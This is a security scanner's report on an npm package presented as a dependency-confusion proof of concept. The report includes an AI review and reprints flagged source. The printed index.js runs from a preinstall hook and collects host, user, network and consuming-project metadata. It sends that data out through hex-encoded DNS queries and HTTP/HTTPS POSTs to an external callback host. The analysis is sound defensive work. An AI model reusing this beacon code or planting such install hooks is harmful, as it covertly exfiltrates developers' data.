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stillm4ddpocs-demo-sprocket@999.9.11: Malicious npm security | LPM Firewall

registry / stillm4ddpocs-demo-sprocket / 999.9.11

stillm4ddpocs-demo-sprocket@999.9.11

AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installing the package runs a preinstall beacon that fingerprints the host and consuming project. It exfiltrates the payload through DNS plus HTTP and HTTPS callbacks.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation via the preinstall lifecycle hook

Impact

Unconsented disclosure of developer/CI identity, filesystem location, network addresses, and consuming-project metadata.

Mechanism

install-time host and project metadata collection with multi-channel external exfiltration

Attack narrative

On installation, npm runs index.js. The script reads the consumer manifest, gathers host, user, home-directory, path, and network identifiers, then sends the serialized data to an attacker-controlled callback. It uses hex-chunked DNS queries and duplicate HTTP/HTTPS POSTs, giving it resilient exfiltration across restrictive egress environments.

Rationale

This is concrete, unconsented install-time metadata exfiltration, regardless of its claimed research purpose. The DNS encoding and redundant callback channels make the behavior an active dependency-confusion beacon rather than an inert demonstration.

Evidence

package.jsonindex.jsINIT_CWD/package.json

Network endpoints5

da4v7l8hb2uc72ugqfmgk64edkj89qcok.oast.funapi.ipify.orgicanhazip.comifconfig.me/ip

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node index.js" }

High

Suspicious Lifecycle Evidence

A preinstall hook automatically executes index.js.

package.jsonView on unpkg · L6

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

35if (String(process.env.npm[redacted]) === "true") return out; const root = process.env.INIT_CWD || process.cwd(); const manifest = path.join(root, "package.json"); if (!fs.existsSync(manifest)) return out; const pkg = JSON.parse(fs.readFileSync(manifest, "utf8")); out.name = pkg.name || "__unnamed"; if (pkg.author) out.author = typeof pkg.author === "string" ? pkg.author : pkg.author.name; if (pkg.repository) out.repository = typeof pkg.repository === "string" ? pkg.repository : pkg.repository.url; if (pkg.homepage) out.homepage = pkg.homepag

High

Ai Review Evidence

It reads the consuming project's package.json via INIT_CWD and collects project metadata.

index.jsView on unpkg · L35

101function collect() { const parent = parentProject(); let user = null, home = null; try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {} return { uuid: crypto.randomUUID(), ip: localIPv4(), hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(), user: user, home: home, cwd: process.env.INIT_CWD || process.cwd(), public_ip: null, resolver_ip: null, poc: PACKAGE, parent: parent.name, author: parent.author || null, repository: parent.repository || null, homepage: parent.homepage || n

High

Ai Review Evidence

It collects username, home directory, hostname, local IP, egress IP, DNS resolver IP, and install directory.

index.jsView on unpkg · L101

134const hex = Buffer.from(body).toString("hex"); const chunks = hex.match(/.{1,60}/g) || []; dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {}); chunks.forEach((c, i) => { try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {} });

High

Ai Review Evidence

It hex-encodes the collected JSON into DNS queries to an external callback.

index.jsView on unpkg · L134

Lines 81-154javascript

81

82function resolverIp(done) {

83 let finished = false;

84 const timer = setTimeout(() => finish(null), 2000);

85 function finish(ip) {

86 if (finished) return;

87 finished = true;

88 clearTimeout(timer);

89 done(ip);

90 }

91 try {

92 // Google publishes the querying resolver's address at this name

93 dns.resolveTxt("o-o.myaddr.l.google.com", (err, records) => {

94 if (err || !records) return finish(null);

95 const flat = [].concat.apply([], records).join("");

96 finish(/^[0-9a-f.:]{3,45}$/i.test(flat) ? flat : null);

97 });

98 } catch (e) { finish(null); }

99}

100

101function collect() {

102 const parent = parentProject();

103 let user = null, home = null;

104 try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {}

105 return {

106 uuid: crypto.randomUUID(),

107 ip: localIPv4(),

108 hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(),

109 user: user,

110 home: home,

111 cwd: process.env.INIT_CWD || process.cwd(),

112 public_ip: null,

High

Ai Review Evidence

It collects username, home directory, hostname, local IP, egress IP, DNS resolver IP, and install directory.

index.jsView on unpkg · L101

113 resolver_ip: null,

114 poc: PACKAGE,

115 parent: parent.name,

116 author: parent.author || null,

117 repository: parent.repository || null,

118 homepage: parent.homepage || null

119 };

120}

121

122function beacon(info) {

123 const body = JSON.stringify(info);

124

125 // DNS first: it is the channel most likely to survive corporate egress

126 // filtering. Labels are capped at 63 characters, so the payload is chunked.

127 try {

128 // Hex, not base64. Resolvers randomise the capitalisation of query

129 // names as an anti-spoofing measure (DNS 0x20 encoding): DNS is

130 // case-insensitive and the response must echo the case back, which is

131 // cheap entropy against cache poisoning. It also destroys any

132 // case-sensitive encoding -- base64 chunks arrive intact but scrambled

133 // and the original case is unrecoverable. Hex has one case.

134 const hex = Buffer.from(body).toString("hex");

135 const chunks = hex.match(/.{1,60}/g) || [];

136 dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {});

137 chunks.forEach((c, i) => {

138 try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}

139 });

High

Ai Review Evidence

It hex-encodes the collected JSON into DNS queries to an external callback.

index.jsView on unpkg · L134

140 } catch (e) {}

141

142 for (const [mod, port] of [[https, 443], [http, 80]]) {

143 try {

144 const req = mod.request({

145 hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`,

146 method: "POST", timeout: 5000,

147 headers: {

148 "Content-Type": "application/json",

149 "Content-Length": Buffer.byteLength(body),

150 "X-Poc-Uuid": info.uuid

151 }

152 });

153 req.on("error", () => {});

154 req.on("timeout", () => { try { req.destroy(); } catch (e) {} });